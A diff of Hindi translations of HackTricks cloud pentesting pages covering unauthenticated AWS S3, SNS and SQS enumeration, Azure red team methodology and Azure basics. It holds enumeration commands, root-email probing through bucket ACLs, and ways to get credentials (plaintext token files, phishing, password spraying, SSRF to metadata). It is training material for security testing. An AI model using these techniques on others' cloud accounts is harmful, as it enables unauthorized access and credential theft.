Enumerating the bucket +### बकेट की गणना करना बकेट की खुली स्थिति का परीक्षण करने के लिए, एक उपयोगकर्ता बस अपने वेब ब्राउज़र में URL दर्ज कर सकता है। एक निजी बकेट "Access Denied" के साथ प्रतिक्रिया देगा। एक सार्वजनिक बकेट पहले 1,000 वस्तुओं की सूची देगा जो संग्रहीत की गई हैं। @@ -125,18 +125,15 @@ Check that the resolved domain have the word "website".\ #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` -यदि बकेट का डोमेन नाम नहीं है, तो इसे सूचीबद्ध करने का प्रयास करते समय, **केवल बकेट का नाम डालें** और पूरे AWSs3 डोमेन को नहीं। उदाहरण: `s3://` +यदि बकेट का डोमेन नाम नहीं है, तो इसे सूचीबद्ध करने का प्रयास करते समय, **केवल बकेट का नाम डालें** और पूरा AWSs3 डोमेन नहीं। उदाहरण: `s3://` ### सार्वजनिक URL टेम्पलेट ``` https://{user_provided}.s3.amazonaws.com ``` -### Get Account ID from public Bucket +### सार्वजनिक बकेट से खाता आईडी प्राप्त करें -यह संभव है कि एक AWS खाता निर्धारित किया जाए **`S3:ResourceAccount`** **नीति स्थिति कुंजी** का लाभ उठाकर। यह स्थिति **S3 बकेट के आधार पर पहुंच को प्रतिबंधित करती है** जिसमें एक खाता है (अन्य खाता-आधारित नीतियाँ उस खाते के आधार पर प्रतिबंधित करती हैं जिसमें अनुरोध करने वाला प्रमुख है)।\ -और क्योंकि नीति में **वाइल्डकार्ड** हो सकते हैं, इसलिए खाता संख्या **केवल एक संख्या में एक बार** पाई जा सकती है। - -यह उपकरण प्रक्रिया को स्वचालित करता है: +यह **`S3:ResourceAccount`** **नीति स्थिति कुंजी** का लाभ उठाकर AWS खाता निर्धारित करना संभव है ```bash # Installation pipx install s3-account-search @@ -146,11 +143,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -यह तकनीक API गेटवे URLs, Lambda URLs, डेटा एक्सचेंज डेटा सेट और यहां तक कि टैग के मान प्राप्त करने के लिए भी काम करती है (यदि आप टैग कुंजी जानते हैं)। आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं। +यह तकनीक API Gateway URLs, Lambda URLs, Data Exchange डेटा सेट और यहां तक कि टैग के मान को प्राप्त करने के लिए भी काम करती है (यदि आप टैग कुंजी जानते हैं)। आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं। ### एक बकेट की पुष्टि करना कि यह AWS खाते से संबंधित है -जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, **यदि आपके पास एक बकेट को सूचीबद्ध करने की अनुमति है** तो यह संभव है कि आप उस खाते की ID की पुष्टि कर सकें जिससे बकेट संबंधित है, एक अनुरोध भेजकर जैसे: +जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, **यदि आपके पास एक बकेट को सूचीबद्ध करने की अनुमति है** तो यह संभव है कि आप एक अनुरोध भेजकर उस खाते की ID की पुष्टि कर सकें जिससे बकेट संबंधित है: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -162,7 +159,7 @@ curl -X GET "[bucketname].amazonaws.com/" \ ### रूट खाता enumeration के रूप में उपयोग किए गए ईमेल -जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, यह जांचना संभव है कि क्या कोई ईमेल पता किसी AWS खाते से संबंधित है **S3 बकेट पर ACLs के माध्यम से ईमेल को अनुमति देने की कोशिश करके**। यदि यह कोई त्रुटि उत्पन्न नहीं करता है, तो इसका मतलब है कि ईमेल किसी AWS खाते का रूट उपयोगकर्ता है: +जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) में समझाया गया है, यह जांचना संभव है कि क्या कोई ईमेल पता किसी AWS खाते से संबंधित है **एक S3 बकेट पर ACLs के माध्यम से ईमेल को अनुमति देने की कोशिश करके**। यदि यह कोई त्रुटि उत्पन्न नहीं करता है, तो इसका मतलब है कि ईमेल किसी AWS खाते का रूट उपयोगकर्ता है: ```python s3_client.put_bucket_acl( Bucket=bucket_name, diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 05ed1cdc4..ff3db3782 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SNS Unauthenticated Enum +# AWS - SNS अनधिकृत ENUM {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index 1ef561b99..b0220ab8c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SQS Unauthenticated Enum +# AWS - SQS अनधिकृत ENUM {{#include ../../../banners/hacktricks-training.md}} @@ -14,8 +14,8 @@ SQS के बारे में अधिक जानकारी के ल ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` -### Check Permissions +### अनुमतियों की जांच करें -यह संभव है कि SQS कतार नीति को गलत तरीके से कॉन्फ़िगर किया जाए और AWS में सभी को संदेश भेजने और प्राप्त करने की अनुमति दी जाए, इसलिए यदि आपको कतारों का ARN मिलता है तो कोशिश करें कि क्या आप उन्हें एक्सेस कर सकते हैं। +यह संभव है कि SQS कतार नीति को गलत तरीके से कॉन्फ़िगर किया जाए और AWS में सभी को संदेश भेजने और प्राप्त करने की अनुमति दी जाए, इसलिए यदि आपको कतारों का ARN मिलता है, तो कोशिश करें कि क्या आप उन्हें एक्सेस कर सकते हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 3ccdddef1..66af828f1 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -10,26 +10,26 @@ az-basic-information/ ## Azure Pentester/Red Team Methodology -AZURE वातावरण का ऑडिट करने के लिए यह बहुत महत्वपूर्ण है: कौन से **सेवाएँ उपयोग की जा रही हैं**, क्या **प्रकट किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक Azure सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं। +AZURE वातावरण का ऑडिट करने के लिए यह बहुत महत्वपूर्ण है: कौन से **सेवाएँ उपयोग में हैं**, क्या **प्रकट किया जा रहा है**, किसके पास **पहुँच** है, और आंतरिक Azure सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं। -Red Team के दृष्टिकोण से, **Azure वातावरण को समझौता करने का पहला कदम** Azure AD के लिए कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि ऐसा कैसे किया जा सकता है: +Red Team के दृष्टिकोण से, **Azure वातावरण को समझौता करने का पहला कदम** Azure AD के लिए कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं: - **Leaks** github (या समान) में - OSINT - **Social** Engineering - **Password** पुन: उपयोग (पासवर्ड लीक) - Azure-Hosted Applications में कमजोरियाँ -- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जिसमें मेटाडेटा एंडपॉइंट तक पहुँच है +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) जो मेटाडेटा एंडपॉइंट तक पहुँच प्रदान करता है - **Local File Read** - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` -- फ़ाइल **`accessTokens.json`** `az cli` में 2.30 से पहले - Jan2022 - **access tokens को स्पष्ट पाठ में** संग्रहीत किया गया था +- फ़ाइल **`accessTokens.json`** `az cli` में 2.30 से पहले - Jan2022 - **access tokens को स्पष्ट पाठ में** संग्रहीत किया गया - फ़ाइल **`azureProfile.json`** में लॉग इन किए गए उपयोगकर्ता के बारे में **जानकारी** होती है। - **`az logout`** टोकन को हटा देता है। -- पुराने संस्करणों में **`Az PowerShell`** ने **access tokens** को **स्पष्ट** पाठ में **`TokenCache.dat`** में संग्रहीत किया। यह **ServicePrincipalSecret** को भी **स्पष्ट** पाठ में **`AzureRmContext.json`** में संग्रहीत करता है। cmdlet **`Save-AzContext`** का उपयोग **tokens** को **संग्रहित** करने के लिए किया जा सकता है।\ +- पुराने संस्करणों में **`Az PowerShell`** ने **access tokens** को **स्पष्ट** पाठ में **`TokenCache.dat`** में संग्रहीत किया। यह **ServicePrincipalSecret** को भी **स्पष्ट** पाठ में **`AzureRmContext.json`** में संग्रहीत करता है। **`Save-AzContext`** cmdlet का उपयोग **tokens** को **संग्रहित** करने के लिए किया जा सकता है।\ उन्हें हटाने के लिए `Disconnect-AzAccount` का उपयोग करें। -- 3rd पार्टियों का **breached** +- 3rd पार्टियों द्वारा **breached** - **Internal** Employee -- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (क्रेडेंशियल्स या Oauth App) +- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (क्रेडेंशियल्स या Oauth ऐप) - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) @@ -40,7 +40,7 @@ az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी एन्यूमरेशन करने की आवश्यकता है: +> एक बार जब आप क्रेडेंशियल्स प्राप्त करने में सफल हो जाते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या पहुँच है**, इसलिए आपको कुछ बुनियादी एन्यूमरेशन करने की आवश्यकता है: ## Basic Enumeration @@ -64,7 +64,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou - **IP whitelisting** -- आपको एक मान्य IP को समझौता करना होगा - **Geo restrictions** -- पता करें कि उपयोगकर्ता कहाँ रहता है या कंपनी के कार्यालय कहाँ हैं और उसी शहर (या कम से कम देश) से एक IP प्राप्त करें - **Browser** -- शायद केवल कुछ OS (Windows, Linux, Mac, Android, iOS) से एक ब्राउज़र की अनुमति है। पता करें कि पीड़ित/कंपनी कौन सा OS उपयोग करती है। -- आप **Service Principal क्रेडेंशियल्स को समझौता करने** की कोशिश भी कर सकते हैं क्योंकि ये आमतौर पर कम सीमित होते हैं और इसका लॉगिन कम समीक्षा किया जाता है +- आप **Service Principal क्रेडेंशियल्स** को भी समझौता करने की कोशिश कर सकते हैं क्योंकि ये आमतौर पर कम सीमित होते हैं और इसका लॉगिन कम समीक्षा किया जाता है इसे बायपास करने के बाद, आप अपनी प्रारंभिक सेटअप पर वापस जाने में सक्षम हो सकते हैं और आपके पास अभी भी पहुँच होगी। @@ -77,7 +77,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou > [!CAUTION] > जानें **कैसे स्थापित करें** az cli, AzureAD और Az PowerShell को [**Az - Entra ID**](az-services/az-azuread.md) अनुभाग में। -आपको जानने की आवश्यकता है कि आप **कौन हैं** (आप किस वातावरण में हैं): +आपको जानने की आवश्यकता है कि **आप कौन हैं** (आप किस वातावरण में हैं): {{#tabs }} {{#tab name="az cli" }} @@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Azure को सूचीबद्ध करने के लिए सबसे महत्वपूर्ण कमांडों में से एक है **`Get-AzResource`** Az PowerShell से, क्योंकि यह आपको **जानकारी देता है कि आपके वर्तमान उपयोगकर्ता के पास किन संसाधनों की दृश्यता है**। +> Azure को सूचीबद्ध करने के लिए सबसे महत्वपूर्ण कमांडों में से एक है **`Get-AzResource`** Az PowerShell से, क्योंकि यह आपको **जानने देता है कि आपके वर्तमान उपयोगकर्ता के पास किन संसाधनों की दृश्यता है**। > > आप वही जानकारी **वेब कंसोल** में [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) पर जाकर या "सभी संसाधन" खोजकर प्राप्त कर सकते हैं। ### ENtra ID Enumeration -डिफ़ॉल्ट रूप से, किसी भी उपयोगकर्ता को **सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ होनी चाहिए** जैसे, उपयोगकर्ता, समूह, भूमिकाएँ, सेवा प्रमुख... (देखें [डिफ़ॉल्ट AzureAD अनुमतियाँ](az-basic-information/#default-user-permissions)).\ +डिफ़ॉल्ट रूप से, किसी भी उपयोगकर्ता को **चीजों को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ होनी चाहिए** जैसे, उपयोगकर्ता, समूह, भूमिकाएँ, सेवा प्रमुख... (देखें [डिफ़ॉल्ट AzureAD अनुमतियाँ](az-basic-information/#default-user-permissions)).\ आप यहाँ एक गाइड पा सकते हैं: {{#ref}} @@ -134,7 +134,7 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पकड़े नहीं गए हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\ +> अब जब आपके पास **आपकी क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पता नहीं चले हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\ > अगले अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं। ## App Service SCM @@ -155,7 +155,7 @@ Azure DevOps Azure से अलग है। इसमें रिपॉजि ```bash az account management-group list --output table --debug ``` -एक **MitM** करने के लिए और **सभी अनुरोधों** की जांच करने के लिए जो यह मैन्युअल रूप से भेज रहा है, आप कर सकते हैं: +एक **MitM** करने के लिए टूल पर और **सभी अनुरोधों** की मैन्युअल रूप से जांच करने के लिए आप कर सकते हैं: {{#tabs }} {{#tab name="Bash" }} diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index 18ead621e..8838a3dd0 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -8,29 +8,29 @@ ### Management Groups -- यह **अन्य प्रबंधन समूहों या सब्सक्रिप्शन** को समाहित कर सकता है। -- यह **प्रबंधन समूह स्तर पर शासन नियंत्रण** जैसे RBAC और Azure नीति को एक बार लागू करने की अनुमति देता है और इन्हें समूह में सभी सब्सक्रिप्शन द्वारा **विरासत में** प्राप्त किया जाता है। +- इसमें **अन्य प्रबंधन समूह या सदस्यता** हो सकती हैं। +- यह **गवर्नेंस नियंत्रण** जैसे RBAC और Azure नीति को प्रबंधन समूह स्तर पर एक बार लागू करने की अनुमति देता है और इन्हें समूह में सभी सदस्यताओं द्वारा **विरासत में** लिया जाता है। - **10,000 प्रबंधन** समूह एकल निर्देशिका में समर्थित हो सकते हैं। -- एक प्रबंधन समूह का पेड़ **छह स्तर की गहराई** तक का समर्थन कर सकता है। यह सीमा मूल स्तर या सब्सक्रिप्शन स्तर को शामिल नहीं करती है। -- प्रत्येक प्रबंधन समूह और सब्सक्रिप्शन केवल **एक माता-पिता** का समर्थन कर सकता है। +- एक प्रबंधन समूह का पेड़ **छह स्तर की गहराई** तक का समर्थन कर सकता है। यह सीमा मूल स्तर या सदस्यता स्तर को शामिल नहीं करती है। +- प्रत्येक प्रबंधन समूह और सदस्यता **केवल एक माता-पिता** का समर्थन कर सकती है। - कई प्रबंधन समूह बनाए जा सकते हैं, लेकिन **केवल 1 मूल प्रबंधन समूह** है। -- मूल प्रबंधन समूह **सभी** **अन्य प्रबंधन समूहों और सब्सक्रिप्शन** को **समाहित करता है और इसे स्थानांतरित या हटाया नहीं जा सकता**। -- एकल प्रबंधन समूह के भीतर सभी सब्सक्रिप्शन को **एक ही Entra ID टेनेट** पर भरोसा करना चाहिए। +- मूल प्रबंधन समूह **सभी** **अन्य प्रबंधन समूहों और सदस्यताओं** को **धारण करता है** और **इसे स्थानांतरित या हटाया नहीं जा सकता**। +- एकल प्रबंधन समूह के भीतर सभी सदस्यताओं को **एक ही Entra ID टेनेट** पर भरोसा करना चाहिए।

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

### Azure Subscriptions - यह एक और **तार्किक कंटेनर है जहां संसाधन** (VMs, DBs…) चलाए जा सकते हैं और बिल किया जाएगा। -- इसका **माता-पिता** हमेशा एक **प्रबंधन समूह** होता है (और यह मूल प्रबंधन समूह हो सकता है) क्योंकि सब्सक्रिप्शन अन्य सब्सक्रिप्शन को समाहित नहीं कर सकते। +- इसका **माता-पिता** हमेशा एक **प्रबंधन समूह** होता है (और यह मूल प्रबंधन समूह हो सकता है) क्योंकि सदस्यताएँ अन्य सदस्यताओं को नहीं रख सकती हैं। - यह **केवल एक Entra ID** निर्देशिका पर भरोसा करता है। -- **अनुमतियाँ** जो सब्सक्रिप्शन स्तर (या इसके किसी भी माता-पिता) पर लागू होती हैं, वे सब्सक्रिप्शन के भीतर सभी संसाधनों को **विरासत में** मिलती हैं। +- सदस्यता स्तर (या इसके किसी भी माता-पिता) पर लागू **अनुमतियाँ** सभी संसाधनों पर **विरासत में** आती हैं। ### Resource Groups -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) एक संसाधन समूह एक **कंटेनर** है जो एक Azure समाधान के लिए **संबंधित संसाधनों** को रखता है। संसाधन समूह में समाधान के लिए सभी संसाधन शामिल हो सकते हैं, या केवल वे **संसाधन जिन्हें आप समूह के रूप में प्रबंधित करना चाहते हैं**। सामान्यतः, उन **संसाधनों** को एक ही संसाधन समूह में जोड़ें जो **एक ही जीवनचक्र** साझा करते हैं ताकि आप उन्हें समूह के रूप में आसानी से तैनात, अपडेट और हटा सकें। +[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) एक संसाधन समूह एक **कंटेनर** है जो एक Azure समाधान के लिए **संबंधित संसाधनों** को रखता है। संसाधन समूह में समाधान के लिए सभी संसाधन शामिल हो सकते हैं, या केवल वे **संसाधन जिन्हें आप समूह के रूप में प्रबंधित करना चाहते हैं**। सामान्यतः, **संसाधनों** को उसी संसाधन समूह में जोड़ें जो **एक ही जीवन चक्र** साझा करते हैं ताकि आप उन्हें समूह के रूप में आसानी से तैनात, अपडेट और हटा सकें। -सभी **संसाधन** को **एक संसाधन समूह के भीतर होना चाहिए** और केवल एक समूह का हिस्सा हो सकते हैं और यदि एक संसाधन समूह को हटा दिया जाता है, तो इसके भीतर सभी संसाधन भी हटा दिए जाते हैं। +सभी **संसाधन** को **एक संसाधन समूह के भीतर** होना चाहिए और केवल एक समूह का हिस्सा हो सकते हैं और यदि एक संसाधन समूह को हटाया जाता है, तो इसके भीतर सभी संसाधन भी हटा दिए जाते हैं।

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

@@ -42,7 +42,7 @@ Azure Resource ID का प्रारूप इस प्रकार है: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -एक वर्चुअल मशीन जिसका नाम myVM है, एक संसाधन समूह `myResourceGroup` के तहत सब्सक्रिप्शन ID `12345678-1234-1234-1234-123456789012` में, Azure Resource ID इस प्रकार दिखता है: +एक वर्चुअल मशीन जिसका नाम myVM है, एक संसाधन समूह `myResourceGroup` के तहत सदस्यता ID `12345678-1234-1234-1234-123456789012` में, Azure Resource ID इस प्रकार दिखता है: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` @@ -50,11 +50,11 @@ Azure Resource ID का प्रारूप इस प्रकार है: ### Azure -Azure माइक्रोसॉफ्ट का व्यापक **क्लाउड कंप्यूटिंग प्लेटफॉर्म है, जो एक विस्तृत श्रृंखला की सेवाएँ** प्रदान करता है, जिसमें वर्चुअल मशीन, डेटाबेस, आर्टिफिशियल इंटेलिजेंस, और स्टोरेज शामिल हैं। यह अनुप्रयोगों को होस्ट और प्रबंधित करने, स्केलेबल बुनियादी ढाँचे बनाने, और क्लाउड में आधुनिक कार्यभार चलाने के लिए आधार के रूप में कार्य करता है। Azure डेवलपर्स और IT पेशेवरों के लिए अनुप्रयोगों और सेवाओं को सहजता से बनाने, तैनात करने और प्रबंधित करने के लिए उपकरण प्रदान करता है, जो स्टार्टअप से लेकर बड़े उद्यमों तक की विभिन्न आवश्यकताओं को पूरा करता है। +Azure Microsoft का व्यापक **क्लाउड कंप्यूटिंग प्लेटफॉर्म है, जो विभिन्न सेवाओं** की पेशकश करता है, जिसमें वर्चुअल मशीन, डेटाबेस, कृत्रिम बुद्धिमत्ता और स्टोरेज शामिल हैं। यह अनुप्रयोगों को होस्ट और प्रबंधित करने, स्केलेबल बुनियादी ढाँचे का निर्माण करने और क्लाउड में आधुनिक कार्यभार चलाने के लिए आधार के रूप में कार्य करता है। Azure डेवलपर्स और IT पेशेवरों के लिए अनुप्रयोगों और सेवाओं को सहजता से बनाने, तैनात करने और प्रबंधित करने के लिए उपकरण प्रदान करता है, जो स्टार्टअप से लेकर बड़े उद्यमों तक की विभिन्न आवश्यकताओं को पूरा करता है। ### Entra ID (पूर्व में Azure Active Directory) -Entra ID एक क्लाउड-आधारित **पहचान और पहुंच प्रबंधन सेवा** है जिसे प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता पहुंच नियंत्रण को संभालने के लिए डिज़ाइन किया गया है। यह Office 365, Azure, और कई तीसरे पक्ष के SaaS अनुप्रयोगों जैसी माइक्रोसॉफ्ट सेवाओं तक सुरक्षित पहुंच को सक्षम करता है। इसमें एकल साइन-ऑन (SSO), बहु-कारक प्रमाणीकरण (MFA), और शर्तीय पहुंच नीतियों जैसी सुविधाएँ शामिल हैं। +Entra ID एक क्लाउड-आधारित **पहचान और पहुंच प्रबंधन सेवा** है जिसे प्रमाणीकरण, प्राधिकरण और उपयोगकर्ता पहुंच नियंत्रण को संभालने के लिए डिज़ाइन किया गया है। यह Office 365, Azure और कई तीसरे पक्ष के SaaS अनुप्रयोगों जैसी Microsoft सेवाओं तक सुरक्षित पहुंच को सक्षम करता है। इसमें एकल साइन-ऑन (SSO), बहु-कारक प्रमाणीकरण (MFA), और शर्तीय पहुंच नीतियों जैसी सुविधाएँ शामिल हैं। ### Entra Domain Services (पूर्व में Azure AD DS) @@ -71,18 +71,18 @@ Entra Domain Services Entra ID की क्षमताओं को बढ़ - गुण निर्दिष्ट करें (पहला नाम, नौकरी का शीर्षक, संपर्क जानकारी…) - डिफ़ॉल्ट उपयोगकर्ता प्रकार “**सदस्य**” है - **बाहरी उपयोगकर्ता** -- आमंत्रित करने के लिए ईमेल और डिस्प्ले नाम निर्दिष्ट करें (यह माइक्रोसॉफ्ट ईमेल नहीं हो सकता) +- आमंत्रित करने के लिए ईमेल और डिस्प्ले नाम निर्दिष्ट करें (यह एक गैर-माइक्रोसॉफ्ट ईमेल हो सकता है) - गुण निर्दिष्ट करें - डिफ़ॉल्ट उपयोगकर्ता प्रकार “**अतिथि**” है ### Members & Guests Default Permissions -आप उन्हें [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) पर देख सकते हैं लेकिन अन्य कार्यों के बीच एक सदस्य सक्षम होगा: +आप उन्हें [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) में देख सकते हैं, लेकिन अन्य कार्यों के बीच एक सदस्य सक्षम होगा: -- सभी उपयोगकर्ताओं, समूहों, अनुप्रयोगों, उपकरणों, भूमिकाओं, सब्सक्रिप्शन, और उनके सार्वजनिक गुणों को पढ़ें +- सभी उपयोगकर्ताओं, समूहों, अनुप्रयोगों, उपकरणों, भूमिकाओं, सदस्यताओं और उनके सार्वजनिक गुणों को पढ़ें - अतिथियों को आमंत्रित करें (_बंद किया जा सकता है_) - सुरक्षा समूह बनाएं -- गैर-छिपे हुए समूह सदस्यता पढ़ें +- गैर-छिपे समूह सदस्यताओं को पढ़ें - स्वामित्व वाले समूहों में अतिथियों को जोड़ें - नया अनुप्रयोग बनाएं (_बंद किया जा सकता है_) - Azure में 50 उपकरणों तक जोड़ें (_बंद किया जा सकता है_) @@ -96,17 +96,17 @@ Entra Domain Services Entra ID की क्षमताओं को बढ़ - अनुप्रयोगों को पंजीकृत करें: डिफ़ॉल्ट **हाँ** - गैर-प्रशासक उपयोगकर्ताओं को टेनेट बनाने से रोकें: डिफ़ॉल्ट **नहीं** - सुरक्षा समूह बनाएं: डिफ़ॉल्ट **हाँ** -- माइक्रोसॉफ्ट Entra प्रशासन पोर्टल तक पहुंच को प्रतिबंधित करें: डिफ़ॉल्ट **नहीं** -- यह पोर्टल तक API पहुंच को प्रतिबंधित नहीं करता (केवल वेब) +- Microsoft Entra प्रशासन पोर्टल तक पहुंच को प्रतिबंधित करें: डिफ़ॉल्ट **नहीं** +- यह पोर्टल (केवल वेब) तक API पहुंच को प्रतिबंधित नहीं करता है - उपयोगकर्ताओं को लिंक्डइन के साथ कार्य या स्कूल खाता कनेक्ट करने की अनुमति दें: डिफ़ॉल्ट **हाँ** -- उपयोगकर्ता को साइन इन रखे: डिफ़ॉल्ट **हाँ** +- उपयोगकर्ता को साइन इन रखने के लिए दिखाएं: डिफ़ॉल्ट **हाँ** - उपयोगकर्ताओं को उनके स्वामित्व वाले उपकरणों के लिए BitLocker कुंजी(ओं) को पुनर्प्राप्त करने से रोकें: डिफ़ॉल्ट नहीं (डिवाइस सेटिंग्स में जांचें) - अन्य उपयोगकर्ताओं को पढ़ें: डिफ़ॉल्ट **हाँ** (Microsoft Graph के माध्यम से) - **अतिथि** - **अतिथि उपयोगकर्ता पहुंच प्रतिबंध** -- **अतिथि उपयोगकर्ताओं को सदस्यों के समान पहुंच** सभी सदस्य उपयोगकर्ता अनुमतियों को डिफ़ॉल्ट रूप से अतिथि उपयोगकर्ताओं को प्रदान करता है। -- **अतिथि उपयोगकर्ताओं को निर्देशिका वस्तुओं की संपत्तियों और सदस्यताओं तक सीमित पहुंच** डिफ़ॉल्ट रूप से केवल उनके अपने उपयोगकर्ता प्रोफ़ाइल तक अतिथि पहुंच को प्रतिबंधित करता है। अन्य उपयोगकर्ताओं और समूह की जानकारी तक पहुंच अब अनुमति नहीं है। -- **अतिथि उपयोगकर्ता पहुंच उनकी अपनी निर्देशिका वस्तुओं की संपत्तियों और सदस्यताओं तक सीमित है** सबसे प्रतिबंधात्मक है। +- **अतिथि उपयोगकर्ताओं को सदस्यों के समान पहुंच** डिफ़ॉल्ट रूप से सभी सदस्य उपयोगकर्ता अनुमतियों को अतिथि उपयोगकर्ताओं को प्रदान करता है। +- **अतिथि उपयोगकर्ताओं को निर्देशिका वस्तुओं के गुणों और सदस्यताओं तक सीमित पहुंच है (डिफ़ॉल्ट)** डिफ़ॉल्ट रूप से अतिथि पहुंच को केवल उनके अपने उपयोगकर्ता प्रोफ़ाइल तक सीमित करता है। अन्य उपयोगकर्ताओं और समूह की जानकारी तक पहुंच अब अनुमति नहीं है। +- **अतिथि उपयोगकर्ता पहुंच उनके अपने निर्देशिका वस्तुओं के गुणों और सदस्यताओं तक सीमित है** सबसे प्रतिबंधात्मक है। - **अतिथि आमंत्रित कर सकते हैं** - **संगठन में कोई भी अतिथि उपयोगकर्ताओं को आमंत्रित कर सकता है जिसमें अतिथि और गैर-प्रशासक शामिल हैं (सबसे समावेशी) - डिफ़ॉल्ट** - **सदस्य उपयोगकर्ता और विशिष्ट प्रशासनिक भूमिकाओं में नियुक्त उपयोगकर्ता अतिथि उपयोगकर्ताओं को आमंत्रित कर सकते हैं जिसमें सदस्य अनुमतियाँ शामिल 